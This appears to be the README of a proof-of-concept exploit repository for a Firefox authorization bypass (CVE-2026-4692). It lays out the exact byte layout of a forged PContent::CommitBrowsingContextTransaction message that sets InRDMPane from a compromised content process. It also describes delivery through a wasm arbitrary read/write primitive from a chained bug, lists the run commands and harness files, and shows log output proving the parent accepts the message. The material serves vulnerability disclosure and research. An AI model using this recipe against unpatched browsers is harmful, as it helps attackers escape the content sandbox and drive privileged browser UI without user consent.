
Proof-of-concept exploit for Firefox BrowsingContext authorization bypass (CVE-2026-4692), demonstrating forged IPC messages to set InRDMPane and enable privileged UI touch-event injection.
Proof of concept for a missing authorization check on BrowsingContext field
synchronization: a compromised content process forges a
PContent::CommitBrowsingContextTransaction message setting InRDMPane = true
on its own top-level BrowsingContext, and the parent applies it.
Target: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerable, pre-fix), macOS arm64.
Fixed in Firefox 149 — bug 2017643, commit a9279ce332ed ("Prevent toggling RDM
BrowsingContext flag from content processes"), which adds:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // reject if from content
}
InRDMPane tells the parent that the tab is a Responsive Design Mode pane. The
parent trusts this when hit-testing synthesized touch events
(BrowserParent::RecvDispatchTouchEvent): events nominally targeting an RDM pane
are allowed to land on privileged chrome UI. A compromised content process
that sets the flag can then send touch events with negative/off-content
coordinates and click privileged UI without user interaction (see the reporter's
repro.patch on bug 2017643, which demonstrates exactly that with a patched
build). This repo demonstrates the enabling boundary violation itself, with a
real message forge — no browser source patches.
PContent::CommitBrowsingContextTransaction — message type 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311), routing MSG_ROUTING_CONTROL
(INT64_MAX), flags NOT_NESTED (0x001):
u64 bcid sentinel 235406151 ('aContext')
u64 0x0000000000800000 modified bitset word0 (bit 23 = InRDMPane)
u64 0 bitset word1 (BitSet<84> words are size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 sentinel 'aTransaction'
u64 epoch (epoch check is MOZ_ASSERT-only; compiled out here)
u32 132121169 sentinel 'aEpoch'
Delivery reuses the CVE-2026-74939 send path: operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
MessageChannel::Send on the PContent channel, driven from JS via the wasm
funcref-call primitive (wasm-bytes.js, stage-1 = CVE-2026-2796).
Parent-side log (MOZ_LOG=BrowsingContextSync:5) after ./irun:
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 is the popup's top-level BrowsingContext (child-allocated id,
created from IPC), and ipc marks the transaction as content-originated.
On a fixed build the same message fails CanSet validation and is rejected.
Prerequisites: vulnerable Nightly build at /Users/sid/gecko-2766/obj-browser,
.venv with psutil, and the bundled logging server running:
python3 srv.py > /tmp/srv4692.log 2>&1 & # serves this dir on :8781
python3 forge_bctx.py # build bctx.bin/bctx.json
./irun # launch + inject + collect evidence
a9279ce332ed (MFSA 2026-20, Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| File | Purpose |
|---|
bctx.html | PoC page: computes the popup BC id at runtime, patches it into the forged message, sends it |
forge_bctx.py | builds bctx.bin/bctx.json (self-verifying), fully static except the BC id |
wasm-bytes.js | stage-1 primitives: arb R/W, funcref calls |
mdrive2.py | marionette harness |
irun | instrumented run: lldb attach + BrowsingContextSync evidence |
srv.py | logging web server for the PoC pages (:8781) |
profile.user.js | Firefox profile prefs (fission on, dump enabled) |